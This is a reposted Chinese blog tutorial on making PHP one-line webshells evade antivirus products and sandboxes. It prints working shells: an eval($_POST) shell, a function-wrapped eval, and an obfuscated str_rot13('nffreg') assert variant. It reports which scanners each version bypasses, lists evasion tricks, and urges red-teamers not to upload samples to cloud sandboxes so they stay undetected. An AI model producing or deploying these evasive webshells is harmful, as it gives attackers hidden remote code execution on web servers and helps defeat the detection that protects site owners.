形而上学，不行退学的一句话

0x01 前言

文章写完了，绕过了360杀毒，绕过了火绒，绕过了电脑管家，总结了些简单的姿势，确是没骗过win10的防病毒，剩下的这部分是从Typora的历史记录里找的，，，已经没有想法再来一遍了，，，总的来讲下面的这些小步骤碰见防护比较l的站点估计问题不大，还有大家尝试免杀尤其是CS之类的免杀最好还是不要上传云沙箱了，，，，打红队的时候直接拿去尝试就ok了，

0x02 木马免杀

• 环境

虚拟机Win10

一句话木马免杀

先测试一下简单的一句话木马”<?php @eval($_POST[‘hacker’]); ?>”,360杀毒没反应，第一次使用360杀毒，之前从来不怎么使用该杀毒软件，但是杀毒结果为安全比较意外。

但是当360杀毒开启文件实时系统保护的时候是可以查杀到木马文件，或者时在开启该项的情况下才可直接查杀病毒。

使用火绒查杀一下

D盾的话就不做尝试了，毕竟后两款我们大都是比较常用，可用性来讲都还是比较好的。

对于如此简单的一句话当然满足不了使用，毕竟在HV中这种最低级别的木马文件时肯定绕不过态势感知的。

首先如何绕过杀软呢？

调用方法执行shell

代码：

<?php
function bypass(){
    return $_POST['hacker'];;
}
eval(bypass());
?>

• 火绒查杀结果

• 微步沙箱进行测试

也是仅有单引擎识别为木马文件。

• D盾扫描

使用函数调用的危险级别为三级，类型被定义为可疑文件。那么根据这种情况，根据D盾的提示，是因为识别到了文件内容的eval函数，那么尝试对eval函数做拼接，接着做尝试

<?php
highlight_file(__FILE__);
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>

正常能够执行phpinfo信息，测试没有问题，继续套用方法进行魔改

但是该变形需要再php版本<=7.0.9，这里我尝试使用php版本为7.2.x的时候是无法执行函数的，验证一波，D盾风险级别竟然为4级别，，，利用函数调用代码如下sss1.php

<?php
highlight_file(__FILE__);
$c=str_rot13('nffreg');
function bypass($a){
    $a($_REQUEST['x']);
}
bypass($c);
?>

可以看到盾的检测结果

但是微步云沙箱依旧检测出为恶意文件，但是利用火绒杀毒检测为安全

小结

一般使用类以及函数调用去封装一句话
使用特殊函数去魔改敏感字符
远程木马
字符串拼接等

CS免杀

随后再补充，，，，，，，最后在跟师傅们强调一下，别没事上传云沙箱，沙箱，箱，，，，，，，，，，，，，，

文字来源于- 火线 Zone-云安全社区，安全小天地只做文章分享，如有侵权，请联系站长删除